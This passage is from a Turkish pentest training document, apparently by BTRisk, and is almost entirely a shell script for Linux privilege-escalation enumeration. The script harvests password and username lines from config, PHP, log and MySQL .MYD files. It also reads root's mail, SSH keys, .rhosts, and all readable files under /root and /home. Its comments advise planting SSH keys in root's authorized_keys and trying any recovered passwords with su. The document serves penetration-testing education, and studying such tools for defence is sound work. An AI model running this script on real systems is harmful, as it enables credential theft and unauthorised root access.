printf '*** Postgre SQL varsa onun icin de ayrica komutlar calistirilabilir,
process listesine gore hareket etmek lazim ***'
printf '\n**********************************************************\n'
printf '\n**********************************************************\n'
printf 'VERSIYON BILGILERI - TOPLUCA'
printf '\n**********************************************************\n'
printf '\nSUDO - VERSIYON - PRIVESC ACIKLIKLARINI KONTROL ET
http://www.exploit-
db.com/search/?action=search&filter_page=1&filter_description=sudo'
printf '\n.....................................\n'
sudo -V | grep version 2>/dev/null
printf '\nMYSQL - VERSIYON'
printf '\n.....................................\n'
mysql --version 2>/dev/null
printf '\nPOSTGRESQL - VERSIYON'
printf '\n.....................................\n'
psql -V
printf '\nAPACHE - VERSIYON'
printf '\n.....................................\n'
apache2 -v 2>/dev/null; apache2ctl -M 2>/dev/null; httpd -v 2>/dev/null;
apachectl -l 2>/dev/null
printf '\nPERL - VERSIYON'
printf '\n.....................................\n'
perl -v 2>/dev/null
printf '\nJAVA - VERSIYON'
printf '\n.....................................\n'
java -version 2>/dev/null
printf '\nPYTHON - VERSIYON'
printf '\n.....................................\n'
python --version 2>/dev/null
printf '\nRUBY - VERSIYON'
printf '\n.....................................\n'
ruby -v 2>/dev/null

printf '\n=========================================================='
printf '\nUZUN INCELEME'
printf '\n=========================================================='
printf '\n**********************************************************\n'
```

```
printf 'DIZIN VE DOSYA LISTESINI OLUSTURUYORUZ - find / > dirlist-enum.txt'
printf '\n*********************************************************\n'
find / > dirlist-enum.txt 2>/dev/null
printf 'dirlist-enum.txt dosyasi olusturuldu.\n'
printf '\n*********************************************************\n'
printf 'SONU INI ILE BITEN DOSYALARIN LISTESI - grep -i -E ini$ dirlist-
enum.txt > ini-files-enum.txt'
printf '\nNOT: Uzun suren incelemelerde ini, conf, backup v.b. dosyalarin
icerigini manuel olarak inceleyiniz.'
printf '\n*********************************************************\n'
grep -i -E 'ini$' dirlist-enum.txt > ini-files-enum.txt
printf 'ini-files-enum.txt dosyasi olusturuldu.\n'
printf '\n*********************************************************\n'
printf 'SONU CONF, CONFIG VE CNF ILE BITEN DOSYALARIN LISTESI - grep -i -E
conf$|config$|cnf$ dirlist-enum.txt > conf-files-enum.txt'
printf '\n*********************************************************\n'
grep -i -E 'conf$|config$|cnf$' dirlist-enum.txt > conf-files-enum.txt
printf 'conf-files-enum.txt dosyasi olusturuldu.\n'
printf '\n*********************************************************\n'
printf 'SONU BACKUP, BCK, BAK, OLD ILE BITEN DOSYALARIN LISTESI - grep -i -E
backup$|bck$|bak$|old$ dirlist-enum.txt > backup-files-enum.txt'
printf '\n*********************************************************\n'
grep -i -E 'backup$|bck$|bak$|\.old.*$' dirlist-enum.txt > backup-files-
enum.txt
printf 'backup-files-enum.txt dosyasi olusturuldu.\n'
printf '\n*********************************************************\n'
printf 'SONU CAP ILE BITEN DOSYALARIN LISTESI - grep -i -E cap$ dirlist-
enum.txt > capture-files-enum.txt - dosya tipinden emin olmak icin file
komutunu kullanabilirsiniz'
printf '\n*********************************************************\n'
grep -i -E 'cap$' dirlist-enum.txt > capture-files-enum.txt
printf 'capture-files-enum.txt dosyasi olusturuldu.\n'
printf '\n*********************************************************\n'
printf 'SONU .PHP ILE BITEN DOSYALARIN LISTESI - grep -i -E .php$ dirlist-
enum.txt > php-files-enum.txt'
printf '\n*********************************************************\n'
grep -i -E '\.php$' dirlist-enum.txt > php-files-enum.txt
printf 'php-files-enum.txt dosyasi olusturuldu.\n'
printf '\n*********************************************************\n'
printf 'SONU .PL ILE BITEN DOSYALARIN LISTESI - grep -i -E .pl$ dirlist-
enum.txt > pl-files-enum.txt'
printf '\n*********************************************************\n'
grep -i -E '\.pl$' dirlist-enum.txt > pl-files-enum.txt
printf 'pl-files-enum.txt dosyasi olusturuldu.\n'
printf '\n*********************************************************\n'
printf 'SONU .SH ILE BITEN DOSYALARIN LISTESI - grep -i -E .sh$ dirlist-
enum.txt > sh-files-enum.txt'
printf '\n*********************************************************\n'
grep -i -E '\.sh$' dirlist-enum.txt > sh-files-enum.txt
printf 'sh-files-enum.txt dosyasi olusturuldu.\n'
printf '\n*********************************************************\n'
printf 'SONU LOG ILE BITEN DOSYALARIN LISTESI - grep -i -E log$ dirlist-
enum.txt > log-files-enum.txt'
printf '\n*********************************************************\n'
grep -i -E 'log$' dirlist-enum.txt > log-files-enum.txt
printf 'log-files-enum.txt dosyasi olusturuldu.\n'
printf '\n*********************************************************\n'
printf 'SONU INC ILE BITEN DOSYALARIN LISTESI - grep -i -E log$ dirlist-
enum.txt > inc-files-enum.txt'
printf '\n*********************************************************\n'
grep -i -E 'inc$' dirlist-enum.txt > inc-files-enum.txt
```

```
printf 'inc-files-enum.txt dosyasi olusturuldu.\n'
printf 'SONU MYD ILE BITEN DOSYALARIN LISTESI - grep -i -E myd$ dirlist-
enum.txt > myd-files-enum.txt'
printf '\n**********************************************************\n'
grep -i -E 'myd$' dirlist-enum.txt > myd-files-enum.txt
printf 'myd-files-enum.txt dosyasi olusturuldu.\n'

printf '\n**********************************************************\n'
printf 'ICINDE SHADOW GECEN DIZIN VEYA DOSYALARIN LISTESI - grep -i -E ini$
dirlist-enum.txt > ini-files-enum.txt'
printf '\n**********************************************************\n'
grep -i -E 'shadow' dirlist-enum.txt | xargs ls -al 2>/dev/null
printf '\n**********************************************************\n'
printf 'ICINDE PASS GECEN DIZIN VEYA DOSYALARIN LISTESI'
printf '\n**********************************************************\n'
grep -i -E 'pass' dirlist-enum.txt | xargs ls -al 2>/dev/null
printf '\n**********************************************************\n'
printf 'ICINDE CRON GECEN DIZIN VEYA DOSYALARIN LISTESI - Bu dosyalara manuel
olarak bakilmalidir'
printf '\n**********************************************************\n'
grep -i -E 'cron' dirlist-enum.txt | xargs ls -al 2>/dev/null
printf '\n**********************************************************\n'
printf 'ICINDE HISTORY GECEN DIZIN VEYA DOSYALARIN LISTESI'
printf '\n**********************************************************\n'
grep -i -E 'history' dirlist-enum.txt | xargs ls -al 2>/dev/null
printf '\n**********************************************************\n'
printf 'MY.CNF ADLI DOSYALARIN LISTESI'
printf '\n**********************************************************\n'
grep -i -E 'my\.cnf$' dirlist-enum.txt | xargs -r ls -al 2>/dev/null
printf '\n**********************************************************\n'
printf 'MY.CONF ADLI DOSYALARIN LISTESI'
printf '\n**********************************************************\n'
grep -i -E 'my\.conf$' dirlist-enum.txt | xargs -r ls -al 2>/dev/null

printf '\n**********************************************************\n'
printf '==OZET PASSWORD SATIRLARI=='
printf '\n**********************************************************\n'
printf '\n**********************************************************\n'
printf 'INI DOSYALARI ICINDE GECEN PASSWORD VE USERNAME SATIRLARI'
printf '\n**********************************************************\n'
cat ini-files-enum.txt | xargs grep -i -E 'pass =|passwd =|pwd =| password
=|user =|username
=|pass=|passwd=|pwd=|password=|user=|username=|mysql_connect|mysql_select_db'
2>/dev/null
printf '\n**********************************************************\n'
printf 'CONF DOSYALARI ICINDE GECEN PASSWORD VE USERNAME SATIRLARI'
printf '\n**********************************************************\n'
cat conf-files-enum.txt | xargs grep -i -E 'pass =|passwd =|pwd =| password
=|user =|username
=|pass=|passwd=|pwd=|password=|user=|username=|mysql_connect|mysql_select_db'
2>/dev/null
printf '\n**********************************************************\n'
printf 'PHP DOSYALARI ICINDE GECEN PASSWORD VE USERNAME SATIRLARI'
printf '\n**********************************************************\n'
cat php-files-enum.txt | xargs grep -i -E 'pass =|passwd =|pwd =| password
=|user =|username
=|pass=|passwd=|pwd=|password=|user=|username=|mysql_connect|mysql_select_db'
2>/dev/null
printf '\n**********************************************************\n'
printf 'PERL DOSYALARI ICINDE GECEN PASSWORD VE USERNAME SATIRLARI'
printf '\n**********************************************************\n'
```

```
cat pl-files-enum.txt | xargs grep -i -E 'pass =|passwd =|pwd =| password
=|user =|username
=|pass=|passwd=|pwd=|password=|user=|username=|mysql_connect|mysql_select_db'
2>/dev/null
printf '\n*********************************************************\n'
printf 'SH DOSYALARI ICINDE GECEN PASSWORD VE USERNAME SATIRLARI'
printf '\n*********************************************************\n'
cat sh-files-enum.txt | xargs grep -i -E 'pass =|passwd =|pwd =| password
=|user =|username
=|pass=|passwd=|pwd=|password=|user=|username=|mysql_connect|mysql_select_db'
2>/dev/null
printf '\n*********************************************************\n'
printf 'LOG DOSYALARI ICINDE GECEN PASSWORD VE USERNAME SATIRLARI'
printf '\n*********************************************************\n'
cat log-files-enum.txt | xargs grep -i -E 'pass =|passwd =|pwd =| password
=|user =|username
=|pass=|passwd=|pwd=|password=|user=|username=|mysql_connect|mysql_select_db'
2>/dev/null
printf '\n*********************************************************\n'
printf 'INC DOSYALARI ICINDE GECEN PASSWORD VE USERNAME SATIRLARI'
printf '\n*********************************************************\n'
cat inc-files-enum.txt | xargs grep -i -E 'pass =|passwd =|pwd =| password
=|user =|username
=|pass=|passwd=|pwd=|password=|user=|username=|mysql_connect|mysql_select_db'
2>/dev/null
printf '\n*********************************************************\n'
printf 'MYD DOSYALARI ICINDE GECEN PASSWORD VE USERNAME SATIRLARI'
printf '\n*********************************************************\n'
cat myd-files-enum.txt | xargs grep -i -E 'pass =|passwd =|pwd =| password
=|user =|username
=|pass=|passwd=|pwd=|password=|user=|username=|mysql_connect|mysql_select_db'
2>/dev/null

printf '\n*********************************************************\n'
printf '/ETC DIZINI ALTINDA SONU .CONF* ILE BITEN DOSYALARIN LISTESI VE
ERISIM HAKLARI - find /etc/ -maxdepth 4 -name *.conf* -type f -exec ls -la {}
\;'
printf '\nNOT: Belli bir isim yapisindaki dosyalarin erisim haklarini
listelemek icin dirlist-enum.txt dosyasinden filtrelenmis dosya adlarini
kullanabiliriz.'
printf '\nOrnegin: cat ini-files-enum.txt | xargs ls -al komutuyla sonu ini
ile biten dosyalarin erisim haklarinin listelenmesi gibi'
printf '\n*********************************************************\n'
find /etc/ -maxdepth 4 -name *.conf* -type f -exec ls -la {} \; 2>/dev/null
printf '\n*********************************************************\n'
printf 'ICERIK - /var/mail/root'
printf '\n*********************************************************\n'
cat /var/mail/root 2>/dev/null
printf '\n*********************************************************\n'
printf 'ICERIK - /var/spool/mail/root'
printf '\n*********************************************************\n'
cat /var/spool/mail/root 2>/dev/null
printf '\n*********************************************************\n'
printf 'ICERIK - /etc/syslog.conf'
printf '\n*********************************************************\n'
cat /etc/syslog.conf 2>/dev/null
printf '\n*********************************************************\n'
printf 'ICERIK - /etc/chttp.conf'
printf '\n*********************************************************\n'
cat /etc/chttp.conf 2>/dev/null
printf '\n*********************************************************\n'
```

```
printf 'ICERIK - /etc/lighttpd.conf'
printf '\n**********************************************************\n'
cat /etc/lighttpd.conf 2>/dev/null
printf '\n**********************************************************\n'
printf 'ICERIK - /etc/cups/cupsd.conf'
printf '\n**********************************************************\n'
cat /etc/cups/cupsd.conf 2>/dev/null
printf '\n**********************************************************\n'
printf 'ICERIK - /etc/inetd.conf'
printf '\n**********************************************************\n'
cat /etc/inetd.conf 2>/dev/null
printf '\n**********************************************************\n'
printf 'ICERIK - /etc/apache2/apache2.conf'
printf '\n**********************************************************\n'
cat /etc/apache2/apache2.conf 2>/dev/null
printf '\n**********************************************************\n'
printf 'ICERIK - /etc/mysql/my.cnf ve /etc/my.cnf'
printf '\n**********************************************************\n'
cat /etc/mysql/my.cnf 2>/dev/null
cat /etc/my.cnf 2>/dev/null
printf '\n**********************************************************\n'
printf 'ICERIK - /etc/my.conf'
printf '\n**********************************************************\n'
cat /etc/my.conf 2>/dev/null
printf '\n**********************************************************\n'
printf 'ICERIK - /etc/httpd/conf/httpd.conf'
printf '\n**********************************************************\n'
cat /etc/httpd/conf/httpd.conf 2>/dev/null
printf '\n**********************************************************\n'
printf 'ICERIK - /opt/lampp/etc/httpd.conf'
printf '\n**********************************************************\n'
cat /opt/lampp/etc/httpd.conf 2>/dev/null
printf '\n**********************************************************\n'
printf 'ICERIK - /var/apache2/config.inc'
printf '\n**********************************************************\n'
cat /var/apache2/config.inc 2>/dev/null
printf '\n**********************************************************\n'
printf 'ICERIK - /var/lib/mysql/mysql/user.MYD'
printf '\n**********************************************************\n'
cat /var/lib/mysql/mysql/user.MYD 2>/dev/null
printf '\n**********************************************************\n'
printf 'ICERIK - /root/anaconda-ks.cfg'
printf '\n**********************************************************\n'
cat /root/anaconda-ks.cfg 2>/dev/null

printf '\n**********************************************************\n'
printf 'KULLANICIMIZA AIT OLMAYAN ANCAK YAZMA HAKKIMIZ OLAN TUM DOSYALARIN
LISTESI VE ERISIM HAKLARI - find / -writable -not -user whoami -type f -not -
path /proc/* -exec ls -al {} \;'
printf '\n**********************************************************\n'
find / -writable -not -user `whoami` -type f -not -path "/proc/*" -exec ls -
al {} \; 2>/dev/null
printf '\n**********************************************************\n'
printf 'TUM WORLD WRITABLE DOSYALARIN LISTESI VE ERISIM HAKLARI - find / ! -
path */proc/* -perm -2 -type f -exec ls -al {} \;'
printf '\n**********************************************************\n'
find / ! -path "*/proc/*" -perm -2 -type f -exec ls -al {} \; 2>/dev/null
printf '\n**********************************************************\n'
printf 'HERKESIN YAZABILECEGI DIZINLERIN LISTESI'
printf '\n**********************************************************\n'
```

```
find / -type d -not -path "/proc/*" \( -perm -o+w \) -exec ls -ald {} \;
2>/dev/null
printf '\n**********************************************************\n'
printf 'BIZIM YAZABILECEGIMIZ DIZINLERIN LISTESI - find / -writable -type d -
not -path /proc/* -exec ls -al {} \;'
printf '\nManuel olarak script lerimizi ve ciktilarini yerlestirebilecegimiz
bir dizin bulmak icin de kullanilabilir'
printf '\n**********************************************************\n'
find / -writable -type d -not -path "/proc/*" -exec ls -ald {} \; 2>/dev/null
printf '\n**********************************************************\n'
printf 'KULLANICIMIZA AIT DIZINLERIN LISTESI - find / -user whoami -type d -
not -path /proc/* -exec ls -al {} \;'
printf '\n**********************************************************\n'
find / -user `whoami` -type d -not -path "/proc/*" -exec ls -ald {} \;
2>/dev/null
printf '\n**********************************************************\n'
printf 'SSH ANAHTAR VE ANAHTAR DIZINLERININ LISTESI - find / -name id_dsa* -o
-name id_rsa* -o -name known_hosts -o -name authorized_hosts -o -name
authorized_keys: Ozel ve acik anahtar kavramlari ile bunlarin SSH da nasil
kullanıldigi ile ilgili on bilgi edinmenizde fayda var'
printf '\n**********************************************************\n'
find / -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o -name
"authorized_hosts" -o -name "authorized_keys" 2>/dev/null
printf '\n**********************************************************\n'
printf 'SSH SERVISINE ROOT KULLANICISI OLARAK BAGLANABILIR MIYIZ - grep
PermitRootLogin  /etc/ssh/sshd_config 2>/dev/null | grep -v  | awk {print
$2}: Gecerli degerler yes, without-password, forced-commands-only, veya no
dur. without-password private key ile erisilebilir anlamina gelir. forced-
commands-only yapilabilecek islemleri kisitlar ve private key ile
gelinmelidir.'
printf '\n**********************************************************\n'
grep "PermitRootLogin " /etc/ssh/sshd_config 2>/dev/null | grep -v '\#' | awk
'{print  $2}'
printf '\n**********************************************************\n'
printf 'SSH KONFIGURASYON DIZINI ERISIM HAKLARIMIZ - ls -la /etc/ssh/'
printf '\nBu baglamda root un home dizinindeki authorized keys dizinine
yazabiliyorsak asagidaki linklerden faydalanarak sirasiyla key uretebilir ve
yerlestirebiliriz'
printf '\nhttp://www.thegeekstuff.com/2008/11/3-steps-to-perform-ssh-login-
without-password-using-ssh-keygen-ssh-copy-id/'
printf '\nhttp://www.rebol.com/docs/ssh-auto-login.html'
printf '\n**********************************************************\n'
ls -la /etc/ssh/ 2>/dev/null

printf '\n**********************************************************\n'
printf 'SHELL UYGULAMALARININ LISTESI - cat /etc/shells'
printf '\n**********************************************************\n'
cat /etc/shells | xargs ls -al 2>/dev/null
printf '\n**********************************************************\n'
printf 'KULLANICIMIZIN PATH CEVRESEL DEGISKENI - echo $PATH'
printf '\n**********************************************************\n'
echo $PATH
printf '\n**********************************************************\n'
printf 'PAROLA POLITIKASI, PAROLA HASH ALGORITMASI V.D. BILGILER - cat
/etc/login.defs'
printf '\n**********************************************************\n'
cat /etc/login.defs
printf '\n**********************************************************\n'
printf 'APACHE PROCESS ININ HANGI KULLANICI OLARAK KONFIGURE EDILDIGI - cat
/etc/apache2/envvars 2>/dev/null |grep -i user\|group |awk {sub(/.*\export
/,)}1 Gercek kullanici bilgisine ps aux ciktisindan erisebiliriz'
```

```
printf '\n*********************************************************\n'
cat /etc/apache2/envvars 2>/dev/null |grep -i 'user\|group' |awk
'{sub(/.*\export /,"")}1'
printf '\n*********************************************************\n'
printf 'GOREBILDIGIMIZ TUM HOME DIZINLERI ALTINDA VARSA RHOSTS DOSYALARI -
find /home -iname *.rhosts -exec ls -la {} 2>/dev/null \; -exec cat {}
2>/dev/null \;'
printf '\n*********************************************************\n'
find /home -iname *.rhosts -exec ls -la {} 2>/dev/null \; -exec cat {}
2>/dev/null \;
printf '\n*********************************************************\n'
printf 'EGER HOME DIZINLERI /USR/ DIZINI ALTINDA ISE GOREBILDIGIMIZ HOME
DIZINLERI ALTINDA VARSA RHOSTS DOSYALARI - find /usr/home -iname *.rhosts -
exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;'
printf '\n*********************************************************\n'
find /usr/home -iname *.rhosts -exec ls -la {} 2>/dev/null \; -exec cat {}
2>/dev/null \;
printf '\n*********************************************************\n'
printf 'HOSTS.EQUIV DOSYASININ ERISIM HAKKI VE GOREBILIYORSAK ICERIGI - find
/etc -iname hosts.equiv -exec ls -la {} 2>/dev/null \; -exec cat {}
2>/dev/null \;'
printf '\n*********************************************************\n'
find /etc -iname hosts.equiv -exec ls -la {} 2>/dev/null \; -exec cat {}
2>/dev/null \;
printf '\n*********************************************************\n'
printf 'EXPORTS DOSYASININ ERISIM HAKLARI - ls -la /etc/exports'
printf '\n*********************************************************\n'
ls -la /etc/exports 2>/dev/null
printf '\n*********************************************************\n'
printf 'OKUYABILIYORSAK EXPORTS DOSYASININ ICERIGI - cat /etc/exports'
printf '\n*********************************************************\n'
cat /etc/exports 2>/dev/null
printf '\n*********************************************************\n'
printf 'VARSA /VAR/MAIL DIZINI ALTINDAKI DOSYALAR VE ERISIM HAKLARI - ls -la
/var/mail - Bu dosyalara manuel olarak bakmak gerekebilir'
printf '\n*********************************************************\n'
ls -la /var/mail 2>/dev/null
printf '\n*********************************************************\n'
printf 'VARSA /VAR/SPOOL/MAIL DIZINI ALTINDAKI DOSYALAR VE ERISIM HAKLARI -
ls -la /var/spool/mail - Bu dosyalara manuel olarak bakmak gerekebilir'
printf '\n*********************************************************\n'
ls -la /var/spool/mail 2>/dev/null
printf '\n*********************************************************\n'
printf 'VARSA VE OKUYABILIYORSAK ROOT UN MAIL KUTUSUNUN ILK BOLUMU - head
/var/mail/root'
printf '\n*********************************************************\n'
head /var/mail/root 2>/dev/null
printf '\n*********************************************************\n'
printf 'VARSA VE OKUYABILIYORSAK ROOT UN MAIL KUTUSUNUN ILK BOLUMU - head
/var/spool/mail/root'
printf '\n*********************************************************\n'
head /var/spool/mail/root 2>/dev/null
printf '\n*********************************************************\n'
printf 'INETD DOSYASININ ICERIGI - cat /etc/inetd.conf - otomatik baslatilan
ag servisleri icin'
printf '\n*********************************************************\n'
cat /etc/inetd.conf 2>/dev/null
printf '\n*********************************************************\n'
printf 'TCP WRAPPER UYGULAYAN SISTEMLER ICIN XINETD DOSYASININ ICERIGI - cat
/etc/xinetd.conf'
printf '\n*********************************************************\n'
```

```
cat /etc/xinetd.conf 2>/dev/null
printf '\n************************************************************\n'
printf 'INIT.D DIZINI ALTINDAKI SCRIPTLER VE ERISIM IZINLERI - ls -la
/etc/init.d - linux uzerine kurulmus servisler hakkinda fikir verir, buradaki
scriptlerin hepsi calismiyor olabilir. Bu dosyalar icinde grep ile kelime
aranabilir'
printf '\n************************************************************\n'
ls -la /etc/init.d 2>/dev/null
printf '\n************************************************************\n'
printf 'DUSUK BIR IHTIMAL AMA INIT SCRIPTLERI ICINDE BIR PAROLA OLABILIR MI'
printf '\n************************************************************\n'
ls /etc/init.d 2>/dev/null| xargs grep -i -E 'pass =|passwd =|pwd =| password
=|pass=|passwd=|pwd=|password=' 2>/dev/null
printf '\n************************************************************\n'
printf 'ROOT KULLANICISINA AIT OLMAYAN ANCAK INIT.D DIZINI ALTINDA BULUNAN
DOSYALARIN LISTESI - find /etc/init.d/ \! -uid 0 -type f 2>/dev/null |xargs -
r ls -la 2>/dev/null'
printf '\n************************************************************\n'
find /etc/init.d/ \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null
printf '\n************************************************************\n'
printf 'INIT SCRIPTLERI RC.D DIZINLERI ALTINDA BULUNAN SISTEMLER ICIN INIT
SCRIPTLERI LISTESI VE ERISIM HAKLARI - ls -la /etc/rc.d/init.d'
printf '\n************************************************************\n'
ls -la /etc/rc.d/init.d 2>/dev/null
printf '\n************************************************************\n'
printf 'ROOT KULLANICISINA AIT OLMAYAN ANCAK RC.D/INIT.D DIZINI ALTINDA
BULUNAN DOSYALARIN LISTESI - find /etc/rc.d/init.d \! -uid 0 -type f
2>/dev/null |xargs -r ls -la 2>/dev/null'
printf '\n************************************************************\n'
find /etc/rc.d/init.d \! -uid 0 -type f 2>/dev/null |xargs -r ls -la
2>/dev/null
printf '\n************************************************************\n'
printf 'MOUNT KONFIGURASYONU - cat /etc/fstab *** ONEMLI - REISERFS GIBI
SIRADISI FILE SYSTEM GORURSENIZ EXPLOIT ETMEYI DENEYIN'
printf '\n************************************************************\n'
cat /etc/fstab 2>/dev/null

printf '\n============================================================'
printf '\nEK BILGI'
printf '\n============================================================'
printf '\n************************************************************\n'
printf 'TUM AG ARAYUZLERININ LISTESI - /sbin/ifconfig -a'
printf '\n************************************************************\n'
/sbin/ifconfig -a
printf '\n************************************************************\n'
printf 'SUNUCUDA TANIMLI ROUTE BILGILERI - route'
printf '\n************************************************************\n'
/sbin/route 2>/dev/null
printf '\n************************************************************\n'
printf 'MOUNT EDILMIS PARTITION LAR - mount'
printf '\n************************************************************\n'
mount 2>/dev/null
printf '\n************************************************************\n'
printf 'MOUNT EDILMIS PARTITION LAR VE KULLANIM ORANLARI - df -h'
printf '\n************************************************************\n'
df -h 2>/dev/null
printf '\n************************************************************\n'
printf 'DOSYA TRANSFER ARACLARIMIZ NELER'
printf '\nNOT: Path cevresel degiskenimiz yeterli degilse which komutlari var
oldugu halde dosya transfer araclarini bulamayabilir, bu bolumdeki ciktilari
bu acidan degerlendirmelisiniz.'
```

```
printf '\n*********************************************************\n'
which nc
which netcat
which wget
which tftp
which ftp
printf '\n*********************************************************\n'
printf 'KURULU PAKETLER VE VERSIYONLARI'
printf '\n*********************************************************\n'
if grep -q -E -i 'ubuntu|debian' /proc/version;
 then
     dpkg -l 2>/dev/null
 else
     rpm -qa 2>/dev/null
fi

printf '\n*********************************************************\n'
printf 'WEB UYGULAMA DIZINLERI VE DOSYALARIN LISTESI - EKLEME YAPILABILIR'
printf 'NOT: Bu dizinlere manuel olarak goz atilmalidir'
printf '\n*********************************************************\n'
ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/ 2>/dev/null
ls -alhR /opt/lampp/htdocs/ 2>/dev/null

printf '\n*********************************************************\n'
printf '==DETAYLI PASSWORD VE ROOT KELIMELERI GECEN SATIRLAR=='
printf '\n*********************************************************\n'
printf '\n*********************************************************\n'
printf 'INI DOSYALARI ICINDE PASS, PWD, ROOT VE ADMIN KELIMELERI GECEN
SATIRLAR - cat ini-files-enum.txt | xargs grep -E pass|pwd|root'
printf '\nNOT: grep ile aranan kelimelerin gectigi satirlar yerine sadece bu
kelimelerin gectigi dosyalari gormek istiyorsaniz grep -l komutunu
kullanabilirsiniz'
printf '\nNOT: Manuel olarak belli kelimeleri belli dosyalar icinde aramak
icin su komut kullanilabilir, arama terimlerini tek tirnak icine almayi
unutmayiniz: find / -name *.conf* -type f -exec grep -Hn password|root {} \;
2>/dev/null '
printf '\n*********************************************************\n'
cat ini-files-enum.txt | xargs grep -i -E 'pass|pwd|root|admin' 2>/dev/null |
grep '='
printf '\n*********************************************************\n'
printf 'CONF DOSYALARI ICINDE PASS, PWD, ROOT VE ADMIN KELIMELERI GECEN
SATIRLAR - cat conf-files-enum.txt | xargs grep -E pass|pwd|root'
printf '\n*********************************************************\n'
cat conf-files-enum.txt | xargs grep -i -E 'pass|pwd|root|admin' 2>/dev/null
| grep '='
printf '\n*********************************************************\n'
printf 'PHP DOSYALARI ICINDE PASS, PWD, ROOT VE ADMIN KELIMELERI GECEN
SATIRLAR - cat php-files-enum.txt | xargs grep -E pass|pwd|rootr'
printf '\n*********************************************************\n'
cat php-files-enum.txt | xargs grep -i -E 'pass|pwd|root|admin' 2>/dev/null |
grep '='
printf '\n*********************************************************\n'
printf 'PL DOSYALARI ICINDE PASS, PWD, ROOT VE ADMIN KELIMELERI GECEN
SATIRLAR - cat pl-files-enum.txt | xargs grep -E pass|pwd|root'
printf '\n*********************************************************\n'
cat pl-files-enum.txt | xargs grep -i -E 'pass|pwd|root|admin' 2>/dev/null |
grep '='
printf '\n*********************************************************\n'
```

```
printf 'SH DOSYALARI ICINDE PASS, PWD, ROOT VE ADMIN KELIMELERI GECEN
SATIRLAR - cat sh-files-enum.txt | xargs grep -E pass|pwd|root'
printf '\n**********************************************************\n'
cat sh-files-enum.txt | xargs grep -i -E 'pass|pwd|root|admin' 2>/dev/null |
grep '='
printf '\n**********************************************************\n'
printf 'LOG DOSYALARI ICINDE PASS, PWD, ROOT VE ADMIN KELIMELERI GECEN
SATIRLAR - cat log-files-enum.txt | xargs grep -E pass|pwd|root'
printf '\n**********************************************************\n'
cat log-files-enum.txt | xargs grep -i -E 'pass|pwd|root|admin' 2>/dev/null |
grep '='
printf '\n**********************************************************\n'
printf 'INC DOSYALARI ICINDE PASS, PWD, ROOT VE ADMIN KELIMELERI GECEN
SATIRLAR - cat inc-files-enum.txt | xargs grep -E pass|pwd|root'
printf '\n**********************************************************\n'
cat inc-files-enum.txt | xargs grep -i -E 'pass|pwd|root|admin' 2>/dev/null |
grep '='
printf '\n**********************************************************\n'
printf 'MYD DOSYALARI ICINDE PASS, PWD, ROOT VE ADMIN KELIMELERI GECEN
SATIRLAR - cat myd-files-enum.txt | xargs grep -E pass|pwd|root'
printf '\n**********************************************************\n'
cat myd-files-enum.txt | xargs grep -i -E 'pass|pwd|root|admin' 2>/dev/null |
grep '='

printf '\n**********************************************************\n'
printf '/root/ DIZINI ALTINDA OKUYABILDIGIMIZ DOSYALARIN ICERIKLERI'
printf '\n**********************************************************\n'
find /root/ -type f -exec tail -n +1 {} + > rootfiles-enum.txt 2>/dev/null
printf '\n**********************************************************\n'
printf '/home/ DIZINI ALTINDA OKUYABILDIGIMIZ DOSYALARIN ICERIKLERI -
***ONEMLI*** EGER SCRIPTI HOME DIZINI ALTINDA CALISTIRIRSANIZ KENDINIZE DOS
YAPMIS OLURSUNUZ CUNKU SCRIPT KENDI YAZDIKLARINI TEKRAR OKUYUP TEKRAR YAZAR
VE DISKI DOLDURURSUNUZ'
printf '\n**********************************************************\n'
find /home/ -type f -exec tail -n +1 {} + > homefiles-enum.txt 2>/dev/null
printf '\n**********************************************************\n'
printf '/etc/cron* DIZINLERI ALTINDA OKUYABILDIGIMIZ DOSYALARIN ICERIKLERI'
printf '\n**********************************************************\n'
find /etc/cron* -type f -exec tail -n +1 {} + > etccronfiles-enum.txt
2>/dev/null

printf '\n=========================================================='
printf '\nSCRIPT TAMAMLANDI'
printf '\n=========================================================='

printf '\nBULDUGUNUZ PAROLALARI ROOT KULLANICISINA VE SISTEM UZERINDE TANIMLI
DIGER KULLANICILARA SU YAPARAK DENEMEYI UNUTMAYIN\n'
```

Yetki yükseltme çalışmaları için kullanılabilecek hazır scriptler ve araçlar bulunmakla birlikte bu araçların tespit edemeyeceği durumlar da bulunmaktadır. Bu nedenle sistemler üzerinde çalıştırılabilecek enumeration komut ve script'lerine hakim olmak sadece yararlı değil aynı zamanda gereklidir.

IV. BTRİSK Hakkında

2009 yılında kurulmuş ve sadece bilgi güvenliği hizmetlerine odaklanmış olan BTRisk Bilgi Güvenliği ve BT Yönetişim Hizmetleri bilgi güvenliği problemine yönetim kurulu seviyesinden sistem odası uygulamasına kadar uzanan alanda çözüm üretmektedir.

BTRisk bilgi güvenliği problemini görünür hale getirerek algılanmasını, anlaşılmasını ve dolayısıyla ele alınmasını mümkün hale getirmektedir.

BTRisk bilgi güvenliği problemine karşı geliştirdiği yaklaşımları gerçek hayat koşullarında test etmiş ve uygulanabilir hale getirmiştir.

Bilgi güvenliği ve BT yönetişim hizmet alanlarımız aşağıdaki gibidir:

- Pentest Hizmetleri
- Bilgi Güvenliği ve BT Yönetişim Hizmetleri
- Bilgi Güvenliği Operasyon Hizmetleri
- Bilgi Güvenliği Eğitimleri

Özgün ürünlerimiz aşağıdaki gibidir:

- BTRWATCH Bilgi Güvenliği Risk Analizi ve Denetim Uygulaması
- BTRMON 5651 Uyumlu Wi-Fi ve Kablolu Ağ Hotspot Çözümü
- BTROTP Tek Kullanımlık Parola Çözümü

Pentest & BT Denetimi

ISO27001 Danışmanlık Hizmetleri

BG Operasyon Hizmetleri

btrwatch btrotp btrmon btrisk OKULU